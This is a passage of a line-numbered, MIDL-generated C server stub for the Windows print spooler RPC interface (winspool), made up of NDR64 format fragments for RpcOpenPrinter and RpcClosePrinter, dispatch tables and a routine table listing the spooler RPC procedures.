*/ , /* Stack size */ 3050 | (NDR64_UINT32) 0 /* 0x0 */, 3051 | (NDR64_UINT32) 8 /* 0x8 */, 3052 | (NDR64_UINT16) 0 /* 0x0 */, 3053 | (NDR64_UINT16) 0 /* 0x0 */, 3054 | (NDR64_UINT16) 1 /* 0x1 */, 3055 | (NDR64_UINT16) 8 /* 0x8 */ 3056 | }, 3057 | { 3058 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3059 | { 3060 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3061 | 0x72, /* FC64_BIND_PRIMITIVE */ 3062 | (NDR64_UINT8) 0 /* 0x0 */, 3063 | 0 /* 0x0 */, /* Stack offset */ 3064 | (NDR64_UINT8) 0 /* 0x0 */, 3065 | (NDR64_UINT8) 0 /* 0x0 */ 3066 | }, 3067 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3068 | }, 3069 | { 3070 | /* DWORD */ /* parameter DWORD */ 3071 | &__midl_frag153, 3072 | { 3073 | /* DWORD */ 3074 | 0, 3075 | 0, 3076 | 0, 3077 | 0, 3078 | 1, 3079 | 1, 3080 | 1, 3081 | 1, 3082 | 0, 3083 | 0, 3084 | 0, 3085 | 0, 3086 | 0, 3087 | (NDR64_UINT16) 0 /* 0x0 */, 3088 | 0 3089 | }, /* [out], IsReturn, Basetype, ByValue */ 3090 | (NDR64_UINT16) 0 /* 0x0 */, 3091 | 8 /* 0x8 */, /* Stack offset */ 3092 | } 3093 | }; 3094 | 3095 | static const __midl_frag75_t __midl_frag75 = 3096 | { 3097 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 3098 | 0x70, /* FC64_BIND_CONTEXT */ 3099 | (NDR64_UINT8) 225 /* 0xe1 */, 3100 | (NDR64_UINT8) 0 /* 0x0 */, 3101 | (NDR64_UINT8) 1 /* 0x1 */ 3102 | }; 3103 | 3104 | static const __midl_frag74_t __midl_frag74 = 3105 | { 3106 | /* *struct _NDR64_POINTER_FORMAT */ 3107 | 0x20, /* FC64_RP */ 3108 | (NDR64_UINT8) 4 /* 0x4 */, 3109 | (NDR64_UINT16) 0 /* 0x0 */, 3110 | &__midl_frag75 3111 | }; 3112 | 3113 | static const __midl_frag73_t __midl_frag73 = 3114 | { 3115 | /* RpcClosePrinter */ 3116 | { 3117 | /* RpcClosePrinter */ /* procedure RpcClosePrinter */ 3118 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 3119 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */ 3120 | (NDR64_UINT32) 60 /* 0x3c */, 3121 | (NDR64_UINT32) 68 /* 0x44 */, 3122 | (NDR64_UINT16) 0 /* 0x0 */, 3123 | (NDR64_UINT16) 0 /* 0x0 */, 3124 | (NDR64_UINT16) 2 /* 0x2 */, 3125 | (NDR64_UINT16) 8 /* 0x8 */ 3126 | }, 3127 | { 3128 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3129 | { 3130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3131 | 0x70, /* FC64_BIND_CONTEXT */ 3132 | (NDR64_UINT8) 224 /* 0xe0 */, 3133 | 0 /* 0x0 */, /* Stack offset */ 3134 | (NDR64_UINT8) 0 /* 0x0 */, 3135 | (NDR64_UINT8) 0 /* 0x0 */ 3136 | }, 3137 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3138 | }, 3139 | { 3140 | /* phPrinter */ /* parameter phPrinter */ 3141 | &__midl_frag75, 3142 | { 3143 | /* phPrinter */ 3144 | 0, 3145 | 0, 3146 | 0, 3147 | 1, 3148 | 1, 3149 | 0, 3150 | 0, 3151 | 0, 3152 | 1, 3153 | 0, 3154 | 0, 3155 | 0, 3156 | 0, 3157 | (NDR64_UINT16) 0 /* 0x0 */, 3158 | 0 3159 | }, /* [in], [out], SimpleRef */ 3160 | (NDR64_UINT16) 0 /* 0x0 */, 3161 | 0 /* 0x0 */, /* Stack offset */ 3162 | }, 3163 | { 3164 | /* DWORD */ /* parameter DWORD */ 3165 | &__midl_frag153, 3166 | { 3167 | /* DWORD */ 3168 | 0, 3169 | 0, 3170 | 0, 3171 | 0, 3172 | 1, 3173 | 1, 3174 | 1, 3175 | 1, 3176 | 0, 3177 | 0, 3178 | 0, 3179 | 0, 3180 | 0, 3181 | (NDR64_UINT16) 0 /* 0x0 */, 3182 | 0 3183 | }, /* [out], IsReturn, Basetype, ByValue */ 3184 | (NDR64_UINT16) 0 /* 0x0 */, 3185 | 8 /* 0x8 */, /* Stack offset */ 3186 | } 3187 | }; 3188 | 3189 | static const __midl_frag16_t __midl_frag16 = 3190 | { 3191 | /* */ 3192 | { 3193 | /* *BYTE */ 3194 | 0x21, /* FC64_UP */ 3195 | (NDR64_UINT8) 32 /* 0x20 */, 3196 | (NDR64_UINT16) 0 /* 0x0 */, 3197 | &__midl_frag13 3198 | } 3199 | }; 3200 | 3201 | static const __midl_frag15_t __midl_frag15 = 3202 | 0x2 /* FC64_INT8 */; 3203 | 3204 | static const __midl_frag14_t __midl_frag14 = 3205 | { 3206 | /* */ 3207 | (NDR64_UINT32) 1 /* 0x1 */, 3208 | { 3209 | /* struct _NDR64_EXPR_VAR */ 3210 | 0x3, /* FC_EXPR_VAR */ 3211 | 0x6, /* FC64_UINT32 */ 3212 | (NDR64_UINT16) 0 /* 0x0 */, 3213 | (NDR64_UINT32) 0 /* 0x0 */ 3214 | } 3215 | }; 3216 | 3217 | static const __midl_frag13_t __midl_frag13 = 3218 | { 3219 | /* *BYTE */ 3220 | { 3221 | /* *BYTE */ 3222 | 0x41, /* FC64_CONF_ARRAY */ 3223 | (NDR64_UINT8) 0 /* 0x0 */, 3224 | { 3225 | /* *BYTE */ 3226 | 0, 3227 | 0, 3228 | 0, 3229 | 0, 3230 | 0, 3231 | 0, 3232 | 0, 3233 | 0 3234 | }, 3235 | (NDR64_UINT8) 0 /* 0x0 */, 3236 | (NDR64_UINT32) 1 /* 0x1 */, 3237 | &__midl_frag14 3238 | }, 3239 | { 3240 | /* struct _NDR64_ARRAY_ELEMENT_INFO */ 3241 | (NDR64_UINT32) 1 /* 0x1 */, 3242 | &__midl_frag15 3243 | } 3244 | }; 3245 | 3246 | static const __midl_frag12_t __midl_frag12 = 3247 | { 3248 | /* DEVMODE_CONTAINER */ 3249 | { 3250 | /* DEVMODE_CONTAINER */ 3251 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 3252 | (NDR64_UINT8) 7 /* 0x7 */, 3253 | { 3254 | /* DEVMODE_CONTAINER */ 3255 | 1, 3256 | 1, 3257 | 0, 3258 | 0, 3259 | 0, 3260 | 0, 3261 | 0, 3262 | 0 3263 | }, 3264 | (NDR64_UINT8) 0 /* 0x0 */, 3265 | (NDR64_UINT32) 16 /* 0x10 */, 3266 | 0, 3267 | 0, 3268 | &__midl_frag16, 3269 | }, 3270 | { 3271 | /* */ 3272 | { 3273 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3274 | 0x5, /* FC64_INT32 */ 3275 | (NDR64_UINT8) 0 /* 0x0 */, 3276 | (NDR64_UINT16) 0 /* 0x0 */, 3277 | (NDR64_UINT32) 0 /* 0x0 */ 3278 | }, 3279 | { 3280 | /* struct _NDR64_MEMPAD_FORMAT */ 3281 | 0x90, /* FC64_STRUCTPADN */ 3282 | (NDR64_UINT8) 0 /* 0x0 */, 3283 | (NDR64_UINT16) 4 /* 0x4 */, 3284 | (NDR64_UINT32) 0 /* 0x0 */ 3285 | }, 3286 | { 3287 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3288 | 0x14, /* FC64_POINTER */ 3289 | (NDR64_UINT8) 0 /* 0x0 */, 3290 | (NDR64_UINT16) 0 /* 0x0 */, 3291 | (NDR64_UINT32) 0 /* 0x0 */ 3292 | }, 3293 | { 3294 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 3295 | 0x93, /* FC64_END */ 3296 | (NDR64_UINT8) 0 /* 0x0 */, 3297 | (NDR64_UINT16) 0 /* 0x0 */, 3298 | (NDR64_UINT32) 0 /* 0x0 */ 3299 | } 3300 | } 3301 | }; 3302 | 3303 | static const __midl_frag11_t __midl_frag11 = 3304 | { 3305 | /* *DEVMODE_CONTAINER */ 3306 | 0x20, /* FC64_RP */ 3307 | (NDR64_UINT8) 0 /* 0x0 */, 3308 | (NDR64_UINT16) 0 /* 0x0 */, 3309 | &__midl_frag12 3310 | }; 3311 | 3312 | static const __midl_frag8_t __midl_frag8 = 3313 | { 3314 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */ 3315 | 0x70, /* FC64_BIND_CONTEXT */ 3316 | (NDR64_UINT8) 160 /* 0xa0 */, 3317 | (NDR64_UINT8) 0 /* 0x0 */, 3318 | (NDR64_UINT8) 1 /* 0x1 */ 3319 | }; 3320 | 3321 | static const __midl_frag7_t __midl_frag7 = 3322 | { 3323 | /* *struct _NDR64_POINTER_FORMAT */ 3324 | 0x20, /* FC64_RP */ 3325 | (NDR64_UINT8) 4 /* 0x4 */, 3326 | (NDR64_UINT16) 0 /* 0x0 */, 3327 | &__midl_frag8 3328 | }; 3329 | 3330 | static const __midl_frag4_t __midl_frag4 = 3331 | { 3332 | /* RpcOpenPrinter */ 3333 | { 3334 | /* RpcOpenPrinter */ /* procedure RpcOpenPrinter */ 3335 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ 3336 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ 3337 | (NDR64_UINT32) 8 /* 0x8 */, 3338 | (NDR64_UINT32) 68 /* 0x44 */, 3339 | (NDR64_UINT16) 0 /* 0x0 */, 3340 | (NDR64_UINT16) 0 /* 0x0 */, 3341 | (NDR64_UINT16) 6 /* 0x6 */, 3342 | (NDR64_UINT16) 8 /* 0x8 */ 3343 | }, 3344 | { 3345 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3346 | { 3347 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 3348 | 0x71, /* FC64_BIND_GENERIC */ 3349 | (NDR64_UINT8) 0 /* 0x0 */, 3350 | 0 /* 0x0 */, /* Stack offset */ 3351 | (NDR64_UINT8) 0 /* 0x0 */, 3352 | (NDR64_UINT8) 8 /* 0x8 */ 3353 | }, 3354 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 3355 | }, 3356 | { 3357 | /* pPrinterName */ /* parameter pPrinterName */ 3358 | &__midl_frag139, 3359 | { 3360 | /* pPrinterName */ 3361 | 1, 3362 | 1, 3363 | 0, 3364 | 1, 3365 | 0, 3366 | 0, 3367 | 0, 3368 | 0, 3369 | 0, 3370 | 0, 3371 | 0, 3372 | 0, 3373 | 0, 3374 | (NDR64_UINT16) 0 /* 0x0 */, 3375 | 0 3376 | }, /* MustSize, MustFree, [in] */ 3377 | (NDR64_UINT16) 0 /* 0x0 */, 3378 | 0 /* 0x0 */, /* Stack offset */ 3379 | }, 3380 | { 3381 | /* pHandle */ /* parameter pHandle */ 3382 | &__midl_frag8, 3383 | { 3384 | /* pHandle */ 3385 | 0, 3386 | 0, 3387 | 0, 3388 | 0, 3389 | 1, 3390 | 0, 3391 | 0, 3392 | 0, 3393 | 1, 3394 | 0, 3395 | 0, 3396 | 0, 3397 | 0, 3398 | (NDR64_UINT16) 0 /* 0x0 */, 3399 | 0 3400 | }, /* [out], SimpleRef */ 3401 | (NDR64_UINT16) 0 /* 0x0 */, 3402 | 8 /* 0x8 */, /* Stack offset */ 3403 | }, 3404 | { 3405 | /* pDatatype */ /* parameter pDatatype */ 3406 | &__midl_frag139, 3407 | { 3408 | /* pDatatype */ 3409 | 1, 3410 | 1, 3411 | 0, 3412 | 1, 3413 | 0, 3414 | 0, 3415 | 0, 3416 | 0, 3417 | 0, 3418 | 0, 3419 | 0, 3420 | 0, 3421 | 0, 3422 | (NDR64_UINT16) 0 /* 0x0 */, 3423 | 0 3424 | }, /* MustSize, MustFree, [in] */ 3425 | (NDR64_UINT16) 0 /* 0x0 */, 3426 | 16 /* 0x10 */, /* Stack offset */ 3427 | }, 3428 | { 3429 | /* pDevModeContainer */ /* parameter pDevModeContainer */ 3430 | &__midl_frag12, 3431 | { 3432 | /* pDevModeContainer */ 3433 | 1, 3434 | 1, 3435 | 0, 3436 | 1, 3437 | 0, 3438 | 0, 3439 | 0, 3440 | 0, 3441 | 1, 3442 | 0, 3443 | 0, 3444 | 0, 3445 | 0, 3446 | (NDR64_UINT16) 0 /* 0x0 */, 3447 | 0 3448 | }, /* MustSize, MustFree, [in], SimpleRef */ 3449 | (NDR64_UINT16) 0 /* 0x0 */, 3450 | 24 /* 0x18 */, /* Stack offset */ 3451 | }, 3452 | { 3453 | /* AccessRequired */ /* parameter AccessRequired */ 3454 | &__midl_frag153, 3455 | { 3456 | /* AccessRequired */ 3457 | 0, 3458 | 0, 3459 | 0, 3460 | 1, 3461 | 0, 3462 | 0, 3463 | 1, 3464 | 1, 3465 | 0, 3466 | 0, 3467 | 0, 3468 | 0, 3469 | 0, 3470 | (NDR64_UINT16) 0 /* 0x0 */, 3471 | 0 3472 | }, /* [in], Basetype, ByValue */ 3473 | (NDR64_UINT16) 0 /* 0x0 */, 3474 | 32 /* 0x20 */, /* Stack offset */ 3475 | }, 3476 | { 3477 | /* DWORD */ /* parameter DWORD */ 3478 | &__midl_frag153, 3479 | { 3480 | /* DWORD */ 3481 | 0, 3482 | 0, 3483 | 0, 3484 | 0, 3485 | 1, 3486 | 1, 3487 | 1, 3488 | 1, 3489 | 0, 3490 | 0, 3491 | 0, 3492 | 0, 3493 | 0, 3494 | (NDR64_UINT16) 0 /* 0x0 */, 3495 | 0 3496 | }, /* [out], IsReturn, Basetype, ByValue */ 3497 | (NDR64_UINT16) 0 /* 0x0 */, 3498 | 40 /* 0x28 */, /* Stack offset */ 3499 | } 3500 | }; 3501 | 3502 | static const __midl_frag1_t __midl_frag1 = 3503 | (NDR64_UINT32) 0 /* 0x0 */; 3504 | 3505 | 3506 | #include "poppack.h" 3507 | 3508 | 3509 | static const FormatInfoRef winspool_Ndr64ProcTable[] = 3510 | { 3511 | &__midl_frag131, 3512 | &__midl_frag4, 3513 | &__midl_frag131, 3514 | &__midl_frag131, 3515 | &__midl_frag131, 3516 | &__midl_frag131, 3517 | &__midl_frag131, 3518 | &__midl_frag131, 3519 | &__midl_frag131, 3520 | &__midl_frag131, 3521 | &__midl_frag131, 3522 | &__midl_frag131, 3523 | &__midl_frag131, 3524 | &__midl_frag131, 3525 | &__midl_frag131, 3526 | &__midl_frag131, 3527 | &__midl_frag131, 3528 | &__midl_frag131, 3529 | &__midl_frag131, 3530 | &__midl_frag131, 3531 | &__midl_frag131, 3532 | &__midl_frag131, 3533 | &__midl_frag131, 3534 | &__midl_frag131, 3535 | &__midl_frag131, 3536 | &__midl_frag131, 3537 | &__midl_frag131, 3538 | &__midl_frag131, 3539 | &__midl_frag131, 3540 | &__midl_frag73, 3541 | &__midl_frag131, 3542 | &__midl_frag131, 3543 | &__midl_frag131, 3544 | &__midl_frag131, 3545 | &__midl_frag131, 3546 | &__midl_frag131, 3547 | &__midl_frag131, 3548 | &__midl_frag134, 3549 | &__midl_frag134, 3550 | &__midl_frag131, 3551 | &__midl_frag131, 3552 | &__midl_frag131, 3553 | &__midl_frag131, 3554 | &__midl_frag134, 3555 | &__midl_frag134, 3556 | &__midl_frag134, 3557 | &__midl_frag131, 3558 | &__midl_frag131, 3559 | &__midl_frag131, 3560 | &__midl_frag134, 3561 | &__midl_frag134, 3562 | &__midl_frag131, 3563 | &__midl_frag131, 3564 | &__midl_frag131, 3565 | &__midl_frag134, 3566 | &__midl_frag134, 3567 | &__midl_frag131, 3568 | &__midl_frag134, 3569 | &__midl_frag131, 3570 | &__midl_frag131, 3571 | &__midl_frag131, 3572 | &__midl_frag131, 3573 | &__midl_frag131, 3574 | &__midl_frag134, 3575 | &__midl_frag134, 3576 | &__midl_frag135 3577 | }; 3578 | 3579 | 3580 | static const MIDL_STUB_DESC winspool_StubDesc = 3581 | { 3582 | (void *)& winspool___RpcServerInterface, 3583 | MIDL_user_allocate, 3584 | MIDL_user_free, 3585 | 0, 3586 | RundownRoutines, 3587 | 0, 3588 | 0, 3589 | 0, 3590 | ms2Drprn__MIDL_TypeFormatString.Format, 3591 | 1, /* -error bounds_check flag */ 3592 | 0x60001, /* Ndr library version */ 3593 | 0, 3594 | 0x801026e, /* MIDL Version 8.1.622 */ 3595 | 0, 3596 | 0, 3597 | 0, /* notify & notify_flag routine table */ 3598 | 0x2000001, /* MIDL flag */ 3599 | 0, /* cs routines */ 3600 | (void *)& winspool_ServerInfo, /* proxy/server info */ 3601 | 0 3602 | }; 3603 | 3604 | static const RPC_DISPATCH_FUNCTION winspool_NDR64__table[] = 3605 | { 3606 | NdrServerCallAll, 3607 | NdrServerCallAll, 3608 | NdrServerCallAll, 3609 | NdrServerCallAll, 3610 | NdrServerCallAll, 3611 | NdrServerCallAll, 3612 | NdrServerCallAll, 3613 | NdrServerCallAll, 3614 | NdrServerCallAll, 3615 | NdrServerCallAll, 3616 | NdrServerCallAll, 3617 | NdrServerCallAll, 3618 | NdrServerCallAll, 3619 | NdrServerCallAll, 3620 | NdrServerCallAll, 3621 | NdrServerCallAll, 3622 | NdrServerCallAll, 3623 | NdrServerCallAll, 3624 | NdrServerCallAll, 3625 | NdrServerCallAll, 3626 | NdrServerCallAll, 3627 | NdrServerCallAll, 3628 | NdrServerCallAll, 3629 | NdrServerCallAll, 3630 | NdrServerCallAll, 3631 | NdrServerCallAll, 3632 | NdrServerCallAll, 3633 | NdrServerCallAll, 3634 | NdrServerCallAll, 3635 | NdrServerCallAll, 3636 | NdrServerCallAll, 3637 | NdrServerCallAll, 3638 | NdrServerCallAll, 3639 | NdrServerCallAll, 3640 | NdrServerCallAll, 3641 | NdrServerCallAll, 3642 | NdrServerCallAll, 3643 | NdrServerCallAll, 3644 | NdrServerCallAll, 3645 | NdrServerCallAll, 3646 | NdrServerCallAll, 3647 | NdrServerCallAll, 3648 | NdrServerCallAll, 3649 | NdrServerCallAll, 3650 | NdrServerCallAll, 3651 | NdrServerCallAll, 3652 | NdrServerCallAll, 3653 | NdrServerCallAll, 3654 | NdrServerCallAll, 3655 | NdrServerCallAll, 3656 | NdrServerCallAll, 3657 | NdrServerCallAll, 3658 | NdrServerCallAll, 3659 | NdrServerCallAll, 3660 | NdrServerCallAll, 3661 | NdrServerCallAll, 3662 | NdrServerCallAll, 3663 | NdrServerCallAll, 3664 | NdrServerCallAll, 3665 | NdrServerCallAll, 3666 | NdrServerCallAll, 3667 | NdrServerCallAll, 3668 | NdrServerCallAll, 3669 | NdrServerCallAll, 3670 | NdrServerCallAll, 3671 | NdrServerCallAll, 3672 | 0 3673 | }; 3674 | static const RPC_DISPATCH_TABLE winspool_NDR64__v1_0_DispatchTable = 3675 | { 3676 | 66, 3677 | (RPC_DISPATCH_FUNCTION*)winspool_NDR64__table 3678 | }; 3679 | 3680 | static const MIDL_SYNTAX_INFO winspool_SyntaxInfo [ 2 ] = 3681 | { 3682 | { 3683 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 3684 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable, 3685 | ms2Drprn__MIDL_ProcFormatString.Format, 3686 | winspool_FormatStringOffsetTable, 3687 | ms2Drprn__MIDL_TypeFormatString.Format, 3688 | 0, 3689 | 0, 3690 | 0 3691 | } 3692 | ,{ 3693 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, 3694 | (RPC_DISPATCH_TABLE*)&winspool_NDR64__v1_0_DispatchTable, 3695 | 0 , 3696 | (unsigned short *) winspool_Ndr64ProcTable, 3697 | 0, 3698 | 0, 3699 | 0, 3700 | 0 3701 | } 3702 | }; 3703 | 3704 | 3705 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] = 3706 | { 3707 | (SERVER_ROUTINE)RpcEnumPrinters, 3708 | (SERVER_ROUTINE)RpcOpenPrinter, 3709 | (SERVER_ROUTINE)RpcSetJob, 3710 | (SERVER_ROUTINE)RpcGetJob, 3711 | (SERVER_ROUTINE)RpcEnumJobs, 3712 | (SERVER_ROUTINE)RpcAddPrinter, 3713 | (SERVER_ROUTINE)RpcDeletePrinter, 3714 | (SERVER_ROUTINE)RpcSetPrinter, 3715 | (SERVER_ROUTINE)RpcGetPrinter, 3716 | (SERVER_ROUTINE)RpcAddPrinterDriver, 3717 | (SERVER_ROUTINE)RpcEnumPrinterDrivers, 3718 | (SERVER_ROUTINE)RpcGetPrinterDriver, 3719 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory, 3720 | (SERVER_ROUTINE)RpcDeletePrinterDriver, 3721 | (SERVER_ROUTINE)RpcAddPrintProcessor, 3722 | (SERVER_ROUTINE)RpcEnumPrintProcessors, 3723 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory, 3724 | (SERVER_ROUTINE)RpcStartDocPrinter, 3725 | (SERVER_ROUTINE)RpcStartPagePrinter, 3726 | (SERVER_ROUTINE)RpcWritePrinter, 3727 | (SERVER_ROUTINE)RpcEndPagePrinter, 3728 | (SERVER_ROUTINE)RpcAbortPrinter, 3729 | (SERVER_ROUTINE)RpcReadPrinter, 3730 | (SERVER_ROUTINE)RpcEndDocPrinter, 3731 | (SERVER_ROUTINE)RpcAddJob, 3732 | (SERVER_ROUTINE)RpcScheduleJob, 3733 | (SERVER_ROUTINE)RpcGetPrinterData, 3734 | (SERVER_ROUTINE)RpcSetPrinterData, 3735 | (SERVER_ROUTINE)RpcWaitForPrinterChange, 3736 | (SERVER_ROUTINE)RpcClosePrinter, 3737 | (SERVER_ROUTINE)RpcAddForm, 3738 | (SERVER_ROUTINE)RpcDeleteForm, 3739 | (SERVER_ROUTINE)RpcGetForm, 3740 | (SERVER_ROUTINE)RpcSetForm, 3741 | (SERVER_ROUTINE)RpcEnumForms, 3742 | (SERVER_ROUTINE)RpcEnumPorts, 3743 | (SERVER_ROUTINE)RpcEnumMonitors, 3744 | (SERVER_ROUTINE)Opnum37NotUsedOnWire, 3745 | (SERVER_ROUTINE)Opnum38NotUsedOnWire, 3746 | (SERVER_ROUTINE)RpcDeletePort, 3747 | (SERVER_ROUTINE)RpcCreatePrinterIC, 3748 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC, 3749 | (SERVER_ROUTINE)RpcDeletePrinterIC, 3750 | (SERVER_ROUTINE)Opnum43NotUsedOnWire, 3751 | (SERVER_ROUTINE)Opnum44NotUsedOnWire, 3752 | (SERVER_ROUTINE)Opnum45NotUsedOnWire, 3753 | (SERVER_ROUTINE)RpcAddMonitor, 3754 | (SERVER_ROUTINE)RpcDeleteMonitor, 3755 | (SERVER_ROUTINE)RpcDeletePrintProcessor, 3756 | (SERVER_ROUTINE)Opnum49NotUsedOnWire, 3757 | (SERVER_ROUTINE)Opnum50NotUsedOnWire, 3758 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes, 3759 | (SERVER_ROUTINE)RpcResetPrinter, 3760 | (SERVER_ROUTINE)RpcGetPrinterDriver2, 3761 | (SERVER_ROUTINE)Opnum54NotUsedOnWire, 3762 | (SERVER_ROUTINE)Opnum55NotUsedOnWire, 3763 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification, 3764 | (SERVER_ROUTINE)Opnum57NotUsedOnWire, 3765 | (SERVER_ROUTINE)RpcReplyOpenPrinter, 3766 | (SERVER_ROUTINE)RpcRouterReplyPrinter, 3767 | (SERVER_ROUTINE)RpcReplyClosePrinter, 3768 | (SERVER_ROUTINE)RpcAddPortEx, 3769 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification, 3770 | (SERVER_ROUTINE)Opnum63NotUsedOnWire, 3771 | (SERVER_ROUTINE)Opnum64NotUsedOnWire, 3772 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx 3773 | }; 3774 | 3775 | static const MIDL_SERVER_INFO winspool_ServerInfo = 3776 | { 3777 | &winspool_StubDesc, 3778 | winspool_ServerRoutineTable, 3779 | ms2Drprn__MIDL_ProcFormatString.Format, 3780 | (unsigned short *) winspool_FormatStringOffsetTable, 3781 | 0, 3782 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax, 3783 | 2, 3784 | (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo 3785 | }; 3786 | #if _MSC_VER >= 1200 3787 | #pragma warning(pop) 3788 | #endif 3789 | 3790 | 3791 | #endif /* defined(_M_AMD64)*/ 3792 | 3793 | --------------------------------------------------------------------------------